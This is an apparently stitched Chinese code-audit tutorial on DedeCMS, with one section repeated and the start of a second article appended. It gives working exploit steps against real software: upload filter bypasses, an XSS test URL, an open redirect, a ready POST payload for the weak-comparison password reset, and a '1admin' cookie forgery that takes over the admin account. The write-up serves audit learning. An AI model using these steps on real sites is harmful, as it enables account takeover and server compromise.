这里还需要注意$last_vid ,该值来自于cookie,可控。当$last_vid为空时,最终将等于$uid,都为可控参数。而$last_vid最终会被写入到cookie中
// member/index.phpif($uid==''){ if(!$cfg_ml->IsLogin()) { //加载登陆框 …… } else { //加载对应$cfg_ml->M_ID用户的页面 …… }}else{ //会员空间主页 require_once(DEDEMEMBER.'/inc/config_space.php'); $last_vid = GetCookie('last_vid'); if($last_vid!=''){ } else { $last_vid = $uid; } PutCookie('last_vid', $last_vid, 3600*24, '/');}
会员空间信息的加载
这里首先看下第三个逻辑处理,会员空间主要通过config_space.php文件加载,具体代码如下:
会员空间的信息主要通过$uid在数据库中查询得到,其中$uid为用户名信息
当查询结果为空时会退出程序
// member/inc/config_space.php$_vars = GetUserSpaceInfos();function GetUserSpaceInfos(){ $query = "SELECT …… From `#@__member` …… where m.userid like '$uid'"; $_vars = $dsql->GetOne($query); if(!is_array($_vars)) { ShowMsg("你访问的用户可能已经被删除!","javascript:;"); exit(); } …… return $_vars;}
账号登陆后cookie生成方式
用户登陆的逻辑这里就先不看了,主要关注下cookie是怎么生成的
当用户账号密码验证成功后,会有一个保存cookie的操作,对应的是MemberLogin类中的PutLoginInfo()方法
// include/memberlogin.class.php::class MemberLoginfunction PutLoginInfo($uid, $logintime=0){ global $cfg_login_adds, $dsql; $this->M_ID = $uid; $this->M_LoginTime = time(); if($this->M_KeepTime > 0) { PutCookie('DedeUserID',$uid,$this->M_KeepTime); PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime); } else { PutCookie('DedeUserID',$uid); PutCookie('DedeLoginTime',$this->M_LoginTime); }}
跟踪下PutCookie()方法,发现将会生成DedeUserID,DedeUserID__ckMd5的cookie参数,这里关注一下后面会使用
DedeUserID的值来自用户的uid,其中DedeUserID__ckMd5来自用户的uid和加密cookie值的16位md5加密值,
$cfg_cookie_encode好像是安装dede后随机生成的值,用于加密cookie。不同的dedecms程序这个值不同,一般情况下认为该值是不可控,不可知的。正是利用这一点,程序生成的DedeUserID__ckMd5基本不能伪造,dedecms便可以放心的使用cookie去识别用户的身份
//include/helpers/cookie.helper.phpfunction PutCookie($key, $value, $kptime=0, $pa="/"){ global $cfg_cookie_encode,$cfg_domain_cookie; setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie); setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);}
这里需要知道的是这里的uid来自数据表dede_member中mid,所以uid这就就决定了用户的身份,dedecms默认在dede_member中会生成一个userid为admin,mid为1的用户
验证用户是否登陆过
用户中心模块在判断用户是否登陆会使用MemberLogin类的IsLogin()方法,该方法通过实例化的MemberLogin对象的M_ID值是否大于0为判断依据,大于0即为登陆状态
function IsLogin(){ if($this->M_ID > 0) return TRUE; else return FALSE;}
然后查看一下MemberLogin对象实例化时的构造函数,M_ID的值将来自于cookie,在获取cookie时会对用户身份做验证,==需要注意的是,通过认证后,M_ID还会通过GetNum()或intval()转换成数字类型,这是一个关键点,在后面将利用这一点把用户名转换成数字类型==
function __construct($kptime = -1, $cache=FALSE){ $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID);
GetNum()用于接收整数,GetCookie()用于获取cookie值,这里就知道M_ID大致来与cookie中的某个整数值,似乎可控的感觉,我们能想到的利用方式是通过控制cookie为不同的id值,造成越权漏洞
跟进GetCookie("DedeUserID")看看细节
$key传入的值为DedeUserID,$cfg_cookie_encode用于加密cookie
第一个if判断条件,$_COOKIE['DedeUserID']和$_COOKIE['DedeUserID__ckMd5']有值即可
第二个if判断条件,$_COOKIE['DedeUserID__ckMd5']等于使用$cfg_cookie_encode和$_COOKIE['DedeUserID']16位md5加密值相同即可
如果通过判断,M_ID将会等于cookie中DedeUserID的值,也就是对应用户id的身份
$_COOKIE['DedeUserID__ckMd5']为用户uid的md5加密值,没有dedecms的cookie 加密值是无法伪造这个加密值,也就是我们无法构造任意uid用户通过验证造成越权漏洞
//include/helpers/cookie.helper.phpfunction GetCookie($key){ global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } }}
但是在会员空间信息加载时我们知道通过$last_vid也可以写入cookie,也能利用$cfg_cookie_encode加密数据,把这的加密数据放到GetCookie()中是能通过验证的
但是$last_vid只能为用户名,放到,如果直接将$last_vid转化为用户id,那么在会员空间信息加载时会因为用户不存在而退出程序。如果用户名和用户id相同则不担心了,但是系统限制了用户名不能过短
不过却可以利用intval()将用户名转换成数字类型,从而$last_vid可以为存在的用户名,也可以转换成任意用户的id
终于开始验证漏洞了
按需求,我们需要注册一个用户名,这个用户名在intval()转换后能为一个用户的id
1)注册一个名为1admin的用户,intval("1admin")将为1,我们将会操控到用户id为1的用户,然后利用1admin获取一个__ckMd5
http://dede.test:8888/member/index.php?uid=1admin
2)利用结果通过验证
这里有个有趣的利用点,注意了!直接通过登陆框登陆admin用户是进不了个人主页的,因为dedecms默认禁止admin用户登陆会员中心。如果通过上面的方法却可以实现amdin用户登陆,有个什么好处呢,会员中心具有修改密码的功能,如果是管理员修改密码,会同时修改掉后台dede_admin表的密码,这里就可以实现前台到后台的突破,而后台的任意文件上传就很轻松了吧
最后梳理一下流程,流程图如下:
0x03 小结
本次主要采用的是功能定向审计,发现这种方式对文件上传漏洞的审计效果还不错,该方式确实速度很快,不过也会忽略很多关键点,最后的感受是,代码审计时不一定只有一种审计方式,除了功能定向审计,我们还可以利用通读代码的方式去做粗略的全局分析,通过敏感关键词回溯去审计一些较难发现的漏洞
另外一个感受就是在登陆口找回密码这种具有一定逻辑的代码审计上,往往需要先梳理清程序的逻辑,如果具有一定的开发意识审计这种代码会快一些。
参考
dedecms官网:
Dedecms 最新版漏洞收集:
前台任意用户登录漏洞分析(修改admin后台密码):
查看全部
通过DedeCMS学习php代码审计
2)会员中心,默认是关闭该功能的,需要后台打开
3)管理员后台
跟踪前台index.php的流程
首先跟一遍index.php的流程,index.php首先会加载common.inc.php,就先看看这个文件会做什么
include/common.inc.php
// 定义常量// 检查GPC数据是否为cfg等系统定义变量CheckRequest()// 使用addslashes()过滤GPC数据,并注册GPC数据到程序变量_RunMagicQuotes()// 如果存在文件上传的变量,加载文件上传的安全函数if($_FILES){require_once(DEDEINC.'/uploadsafe.inc.php');}// 数据库配置文件,里面是数据库账号密码相关变量信息require_once(DEDEDATA.'/common.inc.php');// 自动加载类库处理require_once(DEDEINC.'/autoload.inc.php');// 引入数据库类,这步会直接连接数据库,并返回一个数据库对象$db=$dsqlrequire_once(DEDEINC.'/dedesqli.class.php');// 全局常用函数require_once(DEDEINC.'/common.func.php');// 模块MVC框架需要的控制器和模型基类require_once(DEDEINC.'/control.class.php');require_once(DEDEINC.'/model.class.php');
common.inc.php 做了很多程序的初始化工作,代码审计时需要重点关注程序处理GPC这些外部数据的方式
common.inc.php 全局处理数据的代码:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); }}
可以看到这个时期的DEDECMS也是使用了$$直接注册了GPC的变量,有可能存在变量覆盖的问题
uploadsafe.inc.php
这里再关心下文件上传的安全函数
include/uploadsafe.inc.php
$cfg_not_allowall为上传文件名后缀的黑名单,后面具体分析限制的逻辑
$imtypes为一些图片的MIME类型
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";$keyarr = array('name', 'type', 'tmp_name', 'size');foreach($_FILES as $_key=>$_value){ $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_rep1ace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_rep1ace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }}
这里结合实际例子来分析上诉代码,上传一个名为2.jpg的正常文件,$_FILES数组如下图
uploadsafe.inc.php会注册$_FILES中数据到全局变量,在实例中便会注册以下变量
$litpic = "/Applications/MAMP/tmp/php/php8bhoXG"$litpic_name = "2.jpg"$litpic_type = "image/jepg"$litpic_stze = "4"
然后先看第一个文件上传的限制:
if( !empty(${$_key.'_name'}) && ( preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'}) ) ){ if(!defined('DEDEADMIN')){ exit('Not Admin Upload filetype not allow !'); }}
第一个if语句块:
条件1:$_FILES[$_key]['name']即2.jpg,若上传的文件名不为空,该条件为真
条件2是个或条件,满足其一即可
条件2.1:$_FILES[$_key]['name']即2.jpg,若后缀名在黑名单中该条件为真
条件2.2:$_FILES[$_key]['name']即2.jpg,若没有符号.,即无后缀文件,该条件为真
通过第一个if判断会进入第二个if判断,DEDEADMIN常量未定义会直接退出程序。全局搜索了DEDEADMIN常量,如果是在后台模块,该常量会在dede/config.php就已经定义了。如果在前台首页或者更用户中心页面,该变量没有定义
所以第一个文件上传限制的是:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制
再来看看第二个文件上传的限制:
$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
若$_FILES[$_key]['type']即image/jpeg,在$imtypes中,则进入下一层判断。
$$_key此时为上传的临时文件,来自$_FILES[$_key]['tmp_name'],临时文件将通过getimagesize()来获取图像信息,作为安全人员,应该要对这个函数敏感一点了,getimagesize()识别到图像时,会返回一个包含图片信息的数组,当传入的文件不为图像时,会返回false,但是该函数可以通过伪造文件头绕过
所以第二个文件上传的限制意图为,当上传的文件MIME类型为图片时,将会通过getimagesize()二次验证传入的是否为图片
综上,可以看出这个底层的文件上传安全函数并没有限制的很死,大概的限制意思为:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制。如果当前文件为图片类型,则会通过getimagesize()再次判断文件是否为图片类型。若上传的文件在后台,MIME类型不为图片则没有限制
加载视图类文件
dedecms还会加载一个视图类文件include/arc.partview.class.php,里面定义了一个视图类class PartView
然后就会实例化一个视图加载类$pv = new PartView();,然后利用$pv去加载html这种静态模板,呈现到网页中。这里算是把视图和程序分开了
至于具体怎么实现的,因为和代码审计相关不大,而且我也没有看懂,这里就不讲究它的逻辑了
小结
整个流程下来感觉dedecms符合那个时代的cms特点,而且也是全局注册了外部变量。dedecms有特点之处在于使用视图类把html和php文件划分。但index.php文件明显只是一个静态文件,没有较多功能的实现,也没有像phpcms那样index.php作为入口文件负责接收请求转发到其他功能代码中
那程序中的功能到底是怎么实现的呢?
最后黑盒测试一下前台的功能点,功能点不多,也明显看处前台是一个多入口处理,每个功能是分开的
跟踪后台流程
dedecms的后台入口位于dede/index.php,默认后台目录为dede,官方建议修改后台目录,在寻找dedecms的后台目录时可以在字典加上dede爆破一下
dede/index.php
require_once(dirname(__FILE__)."/config.php");// 加inc_menu_map.php和载静态模板require(DEDEADMIN.'/inc/inc_menu_map.php');include(DEDEADMIN.'/templets/index2.htm');
后台入口文件的初始化主要加载dede/config.php,这里重点关注下这个文件
dede/config.php
dede/config.php
可以看到config.php也会加载common.inc.php文件,从而处理了外部数据
同时需要关注的是config.php会验证用户的登陆情况,所以后台文件基本都会包含这个config.php
// 加载common.inc.phprequire_once(DEDEADMIN.'/../include/common.inc.php');// 加载管理员登陆类,里面定义了userLogin类和很多验证用户权限的函数require_once(DEDEINC.'/userlogin.class.php');// 实例化userLogin对象$cuserLogin = new userLogin();// 验证登陆情况,未登陆跳转到登陆页面if($cuserLogin --- xxx) header("location:login.php?gotopage=".urlencode($dedeNowurl));// 下面则为登陆后的程序处理// 定义csrf和xss防御函数function csrf_check()function XSSClean($val)
通过iframe构造完整后台页面
不过从上面来看后台入口文件还是很单薄,没有实现什么具体功能,也没有转发请求的功能。然后我就使用谷歌调试工具看了下dedecms后台到底加载了哪些文件,原来才发现这个时期的cms还在使用iframe框架,dedecms后台入口文件通过使用iframe框架加载了菜单地图文件和管理后台主体文件,分别为dede/index_menu.php和dede/index_body.php
上图的代码来自index.php加载的templets/index2.htm文件
dede/index_menu.php和dede/index_body.php通过iframe被嵌入在index.php页面中,可以看到的是dedecms在后台基本还是使用的多入口文件去处理每个功能,只是使用iframe框架让所有功能在index.php页面下显示了而已
小结
通过全局分析,感觉dedecms这个系统还是比较”老气“的,和phpcms的处理方式还是有很大不同的,感觉上phpcms的处理更加接近mvc的思想,虽然看到dedecms也声称做了mvc的架构,菜鸡的我是否还看不到那一层
0x02 漏洞审计
本次将采用结合功能点进行代码审计的思路,试一试这种思路的特点
任意文件上传
普普通通的绕过
后台:【核心】-【常用操作】-【所有档案列表】-【添加文档】,该功能可以发布文章,而且具有文件上传的功能
该处首先具有前端限制,上传 .jpg 后缀文件,结合brup抓包,发现处理上传功能的文件为dede/archives_do.php
然后结合调试,来看看具体代码
dede/archives_do.php
入口文件通过 config.php 会实现权限认证和一些外部参数过滤注册
我们这里上传文件会带有$_FILES参数,上面通过全局分析得知会触发uploadsafe.inc.php的过滤
过滤后,通过AdminUpload()实现最终文件上传
require_once(dirname(__FILE__).'/config.php');else if($dopost=="uploadLitpic"){ $upfile = AdminUpload('litpic', 'imagelit', 0, false );
include/helpers/upload.helper.php
最终实现文件上传的AdminUpload()来自upload.helper.php
传入AdminUpload()的$ftype固定为imagelit,则一定会进入对应的检测判断
在检测判断代码中,$sparr定义了一个MIME Type白名单,若上传文件的MIME Type不在白名单中直接退出,MIME Type我们可控,所以这里一定要设置MIME Type为图片类型
但这里要注意的一点是,当MIME Type为图片类型时,在安全过滤文件uploadsafe.inc.php检测中,还会通过getimagesize()再次判断文件是否为图片类型,不够这里我们也可以绕过
function AdminUpload($uploadname, $ftype='image', $rnddd=0, $watermark=TRUE, $filetype='' ){ if($ftype=='image' || $ftype=='imagelit') { $sparr = Array('image/pjpeg', 'image/jpeg', 'image/gif', 'image/png', 'image/xpng', 'image/wbmp'); if(!in_array($file_type, $sparr)) return 0; } $fileurl = $filedir.'/'.$filename.'.'.$file_sname; $rs = move_uploaded_file($file_tmp, $cfg_basedir.$fileurl);
最后梳理一下,该功能点,系统只做了两个限制,MIMI Type为图片类型,可控。但MIME Type为图片类型时会通过getimagesize()检测,这里也可绕过。下面将来复现一下,看是否可以利用
漏洞验证
保证Content-Type为图片类型,构造图片的文件头,绕过文件上传的限制,并且会返回上传文件名和路径
访问这个文件,完美
小结一下:分析这一大堆,似乎还没有黑盒测来的快。。。一般黑盒直接来个GIF89a可能就中奖了
尴尬的文件上传
接着看看后台有什么功能点,然后又发现一个文件上传的位置:【核心】-【常用操作】-【附件管理】- 【文件式管理器】
突然发现这里竟然可以直接上传任意文件。。。。这个系统这么刚的吗?
看了半天代码很尴尬,然后我就不太想看后台的文件上传了。。。。
有趣的文件上传
后面翻阅dedecms历史漏洞,发现会员中心处存在一个文件上传漏洞。后面仔细研究了一下,其实也只有管理员权限才能上传,实际利用鸡肋,有管理员权限了不如直接进入后台任意文件上传,不过这个漏洞产生的原因可以学学
漏洞位于会员中心处,需要在dedecms打开会员功能,另外需要使用管理员账号打卡会员中心的页面
进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片
选择好文件并上传抓包
处理该文件上传的文件为select_images_post.php,下面具体看看代码
include/dialog/select_images_post.php
看代码大致知道系统只允许上传图片格式的文件,然后具体有3个限制条件:
加载include/dialog/config.php,该文件会验证管理员身份,同时config.php会加载common.inc.php做基础的文件上传过滤。由全局分析知道,我们此时没有位于管理员目录,上传文件后缀名有黑名单限制,不能为php,目前知道服务器只解析php后缀文件
但在下面第二行代码,会去除一些特殊符号,那我们可以上传p*hp这样的后缀,可以绕过上面的判断,然后再这一步正好又变成了能解析的后缀,漏洞关键点就在这里
$cfg_imgtype为jpg|gif|png,但这里匹配十分轻松,只要存在.jpg这样的字样就能绕过,并没有限制是后缀名
最后对mime type类型做了检测,最终上传文件
require_once(dirname(__FILE__)."/config.php");$imgfile_name = trim(preg_rep1ace("#[ \r\n\t\*\%\\\/\?>LoadTemp1ate($tplfile);$dtp->SetVar('id',$id);$dtp->SetVar('type',$type);$dtp->Disp1ay();
可以看到这里的触发点$dtp->SetVar('type',$type);,然而在seay这种代码扫描工具中是不会在意这些点的,同样有些框架对sql操作也做了很好的封装,如果只是依靠seay的结果来做代码审计,可能会忽略掉很多关键点
最后有图有真相
http://dede.test:8888/plus/qrc ... alert(1)%3C/ScRiPt%3E
url 重定向漏洞
seay似乎没有 url 重定向漏洞的扫描,不过该漏洞审计也比较简单,主要关注能重定向的一些关键词,再看重定向地址是否可控
这里看一个dedecms出名的url重定向漏洞,网上有很多讲解,xray都有poc
plus/download.php
对$link做了base64解码
程序中有一个很奇怪的限制,in_array($linkinfo['host'], $allowed),然而download.php中却没有$linkinfo这个参数
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); if ( !in_array($linkinfo['host'], $allowed) ) { ShowMsg('非下载地址,禁止访问','javascript:;'); exit; } header("location:$link");
dedecms后台也有一些url重定向漏洞,这里就不多关注这个洞了
会员中心任意用户密码修改
这也是dedecms比较出名的一个漏洞,如果通过黑盒测试,可能并测不出这个漏洞,此处漏洞最好的方式就是通过灰盒的方式测试
功能点位于会员中心找回密码处,dedecms默认是关闭会员中心的,需要在后台开启会员中心,为了方便测试,开放了用户注册
来看下关键代码:
member/resetpassword.php
1、加载member/config.php,注意这个 config 文件位于 member 目录,不同于全局分析的 config 文件,这个文件会检测用户在用户中心模块的登陆情况,查询的数据表为dede_member,而后台模块查询的数据表是dede_admin,要注意区分开dede的各个模块查询的数据表和包含的文件
可以看到resetpassword.php主要有4个处理逻辑,由$dopost控制,$dopost可控
1)$dopost默认为空,进入第一个if语句,会加载resetpassword.htm,用于显示找回密码的页面
2)$dopost == "getpwd",进入第二个处理逻辑,这是找回密码第一步默认处理逻辑,
3)$dopost == "safequestion",进入第三个处理逻辑
4)$dopost == "getpasswd",将会进入找回密码第二步
// member/resetpassword.phprequire_once(dirname(__FILE__)."/config.php");if($dopost == ""){ include(dirname(__FILE__)."/templets/resetpassword.htm");}elseif($dopost == "getpwd"){ // 找回密码第一步}else if($dopost == "safequestion"){ // 密码问题判断}else if($dopost == "getpasswd"){ // 找回密码第二步}
2、抓取找回密码第一步的请求包,默认dopost为getpwd
进入 getpwd的if语句块,如果设置了密码会加载resetpassword3.htm页面,这是输入安全问题的表单,会提交$dopost == "safequestion",则进入第3个处理逻辑
没有设置安全密码会退出程序,$dopost=="getpwd"似乎走不通,但参数都可以控,可以考虑直接进入$dopost == "safequestion"
// member/resetpassword.phpelseif($dopost == "getpwd"){ //以邮件方式取回密码; if($type == 1){} //以安全问题取回密码; else if ($type == 2) { if($member['safequestion'] == 0) { showmsg('对不起您尚未设置安全密码,请通过邮件方式重设密码', 'login.php'); exit; } require_once(dirname(__FILE__)."/templets/resetpassword3.htm"); }}
3、关注$dopost == "safequestion" 的if语句块,$row['safequestion'] 为数据库查询用户设置的安全问题,如果没有设置则为空,然后这里使用==弱类型比较,有可能绕过这里的判断
// member/resetpassword.phpif(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){ sn($mid, $row['userid'], $row['email'], 'N'); exit();}
当用户没有设置安全问题时,数据库默认的safequestion="0",safeanswer="",在php中这种数据在弱类型比较很容易相等的
safeanswer="",传入$safeanswer为空即可弱类型相等
safequestion="0",但是不能传入$safequestion为0,这样会导致empty()判断为空,最终被赋值为空,这里利用了一个知识点,记录下:
==在php中当左右都是只由数字组成的字符串进行弱类型比较时,会转换成数字比较==
"0" == "00" //true"0" == "0.0" //true"0" == "0e1" //true
所以传入上面其中一个都可以绕过判断,最终的post的数据修改如下,其中id设置为任意值就可以修改为任意用户,id=1默认为admin用户,不过amdin用户在会员中心模块默认不能登陆,意义不大
post 数据的POC:
dopost=safequestion&gourl=&userid=test1&mail=test1@qq.com&vdcode=ya21&type=2&safeanswer=0&id=2&safequestion=00
发送次数据包后,在dede_pwd_tmp表中会生成临时的数据,其中pwd为8位随机字符串的key通过md5加密后的值
4、绕过弱类型判断后,会返回一个地址
注意里面的id和key参数,这里的key为上面的pwd在md5加密前的值,id为上面的mid,也对应了dede_member表中的用户,通过这两个值,保证在找回密码处能准确修改对应用户的密码
进入这个地址,注意修改下实体编码,然后会进入找回密码第二步,然后直接修改密码就可以了
小结:最终梳理下来,这里其实就是在用户没有设置密码问题时,后台数据库默认保存为空,并且后台在进行密保问题判断时采用弱类型比较,导致可以绕过,最终结果是,凡是没有设置密码问题的用户,都有密码被任意修改的风险
会员中心任意用户登陆
会员中心模块的入口文件为member/index.php,在全局分析的时候并没有分析这个入口,但逻辑应该也大差不差
这里简单分析下会员中心模块入口文件判断用户登陆状态的关键逻辑,一般会先判断用户是否登陆,如果登陆则呈现用户界面。如果未登陆,则跳转到登陆接口,等待用户输入登陆凭证并验证,验证通过后,给当前用户记录cookie信息,用户后续使用cookie正常访问
在dedecms中会员中心模块的入口文件差不多也是这个逻辑,dedecms主要使用include/memberlogin.class.php中MemberLogin类来处理这些逻辑,下面来具体看下代码
入口文件逻辑
入口文件主要分为3个逻辑处理,首先通过$uid可以查看对应用户的会员空间,$uid对应数据表dede_member中的userid,即用户名
当$uid为空时,首先会判断用户的登陆状态,如果未登陆就加载登陆框,如果已经登陆,则展现对应用户的个人主页
当$uid不为空时,会加载config_space.php文件,其中这个文件会通过GetUserSpaceInfos()获取到$uid用户的空间信息
这里还需要注意$last_vid ,该值来自于cookie,可控。当$last_vid为空时,最终将等于$uid,都为可控参数。而$last_vid最终会被写入到cookie中
// member/index.phpif($uid==''){ if(!$cfg_ml->IsLogin()) { //加载登陆框 …… } else { //加载对应$cfg_ml->M_ID用户的页面 …… }}else{ //会员空间主页 require_once(DEDEMEMBER.'/inc/config_space.php'); $last_vid = GetCookie('last_vid'); if($last_vid!=''){ } else { $last_vid = $uid; } PutCookie('last_vid', $last_vid, 3600*24, '/');}
会员空间信息的加载
这里首先看下第三个逻辑处理,会员空间主要通过config_space.php文件加载,具体代码如下:
会员空间的信息主要通过$uid在数据库中查询得到,其中$uid为用户名信息
当查询结果为空时会退出程序
// member/inc/config_space.php$_vars = GetUserSpaceInfos();function GetUserSpaceInfos(){ $query = "SELECT …… From `#@__member` …… where m.userid like '$uid'"; $_vars = $dsql->GetOne($query); if(!is_array($_vars)) { ShowMsg("你访问的用户可能已经被删除!","javascript:;"); exit(); } …… return $_vars;}
账号登陆后cookie生成方式
用户登陆的逻辑这里就先不看了,主要关注下cookie是怎么生成的
当用户账号密码验证成功后,会有一个保存cookie的操作,对应的是MemberLogin类中的PutLoginInfo()方法
// include/memberlogin.class.php::class MemberLoginfunction PutLoginInfo($uid, $logintime=0){ global $cfg_login_adds, $dsql; $this->M_ID = $uid; $this->M_LoginTime = time(); if($this->M_KeepTime > 0) { PutCookie('DedeUserID',$uid,$this->M_KeepTime); PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime); } else { PutCookie('DedeUserID',$uid); PutCookie('DedeLoginTime',$this->M_LoginTime); }}
跟踪下PutCookie()方法,发现将会生成DedeUserID,DedeUserID__ckMd5的cookie参数,这里关注一下后面会使用
DedeUserID的值来自用户的uid,其中DedeUserID__ckMd5来自用户的uid和加密cookie值的16位md5加密值,
$cfg_cookie_encode好像是安装dede后随机生成的值,用于加密cookie。不同的dedecms程序这个值不同,一般情况下认为该值是不可控,不可知的。正是利用这一点,程序生成的DedeUserID__ckMd5基本不能伪造,dedecms便可以放心的使用cookie去识别用户的身份
//include/helpers/cookie.helper.phpfunction PutCookie($key, $value, $kptime=0, $pa="/"){ global $cfg_cookie_encode,$cfg_domain_cookie; setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie); setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);}
这里需要知道的是这里的uid来自数据表dede_member中mid,所以uid这就就决定了用户的身份,dedecms默认在dede_member中会生成一个userid为admin,mid为1的用户
验证用户是否登陆过
用户中心模块在判断用户是否登陆会使用MemberLogin类的IsLogin()方法,该方法通过实例化的MemberLogin对象的M_ID值是否大于0为判断依据,大于0即为登陆状态
function IsLogin(){ if($this->M_ID > 0) return TRUE; else return FALSE;}
然后查看一下MemberLogin对象实例化时的构造函数,M_ID的值将来自于cookie,在获取cookie时会对用户身份做验证,==需要注意的是,通过认证后,M_ID还会通过GetNum()或intval()转换成数字类型,这是一个关键点,在后面将利用这一点把用户名转换成数字类型==
function __construct($kptime = -1, $cache=FALSE){ $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID);
GetNum()用于接收整数,GetCookie()用于获取cookie值,这里就知道M_ID大致来与cookie中的某个整数值,似乎可控的感觉,我们能想到的利用方式是通过控制cookie为不同的id值,造成越权漏洞
跟进GetCookie("DedeUserID")看看细节
$key传入的值为DedeUserID,$cfg_cookie_encode用于加密cookie
第一个if判断条件,$_COOKIE['DedeUserID']和$_COOKIE['DedeUserID__ckMd5']有值即可
第二个if判断条件,$_COOKIE['DedeUserID__ckMd5']等于使用$cfg_cookie_encode和$_COOKIE['DedeUserID']16位md5加密值相同即可
如果通过判断,M_ID将会等于cookie中DedeUserID的值,也就是对应用户id的身份
$_COOKIE['DedeUserID__ckMd5']为用户uid的md5加密值,没有dedecms的cookie 加密值是无法伪造这个加密值,也就是我们无法构造任意uid用户通过验证造成越权漏洞
//include/helpers/cookie.helper.phpfunction GetCookie($key){ global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } }}
但是在会员空间信息加载时我们知道通过$last_vid也可以写入cookie,也能利用$cfg_cookie_encode加密数据,把这的加密数据放到GetCookie()中是能通过验证的
但是$last_vid只能为用户名,放到,如果直接将$last_vid转化为用户id,那么在会员空间信息加载时会因为用户不存在而退出程序。如果用户名和用户id相同则不担心了,但是系统限制了用户名不能过短
不过却可以利用intval()将用户名转换成数字类型,从而$last_vid可以为存在的用户名,也可以转换成任意用户的id
终于开始验证漏洞了
按需求,我们需要注册一个用户名,这个用户名在intval()转换后能为一个用户的id
1)注册一个名为1admin的用户,intval("1admin")将为1,我们将会操控到用户id为1的用户,然后利用1admin获取一个__ckMd5
http://dede.test:8888/member/index.php?uid=1admin
2)利用结果通过验证
这里有个有趣的利用点,注意了!直接通过登陆框登陆admin用户是进不了个人主页的,因为dedecms默认禁止admin用户登陆会员中心。如果通过上面的方法却可以实现amdin用户登陆,有个什么好处呢,会员中心具有修改密码的功能,如果是管理员修改密码,会同时修改掉后台dede_admin表的密码,这里就可以实现前台到后台的突破,而后台的任意文件上传就很轻松了吧
最后梳理一下流程,流程图如下:
0x03 小结
本次主要采用的是功能定向审计,发现这种方式对文件上传漏洞的审计效果还不错,该方式确实速度很快,不过也会忽略很多关键点,最后的感受是,代码审计时不一定只有一种审计方式,除了功能定向审计,我们还可以利用通读代码的方式去做粗略的全局分析,通过敏感关键词回溯去审计一些较难发现的漏洞
另外一个感受就是在登陆口找回密码这种具有一定逻辑的代码审计上,往往需要先梳理清程序的逻辑,如果具有一定的开发意识审计这种代码会快一些。
参考
dedecms官网:
Dedecms 最新版漏洞收集:
前台任意用户登录漏洞分析(修改admin后台密码):
DeDeCMS v5.7 密码修改漏洞分析
网站优化 • 优采云 发表了文章 • 0 个评论 • 81 次浏览 • 2022-06-17 15:40
0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节[2]。
2018年1月10日,Seebug漏洞平台[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞[4][1],和一个安全隐患[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
0x02 漏洞简述
整个漏洞利用链包括3个过程:
前台任意用户密码修改漏洞
前台任意用户登陆漏洞
前台管理员密码修改可影响后台的安全隐患
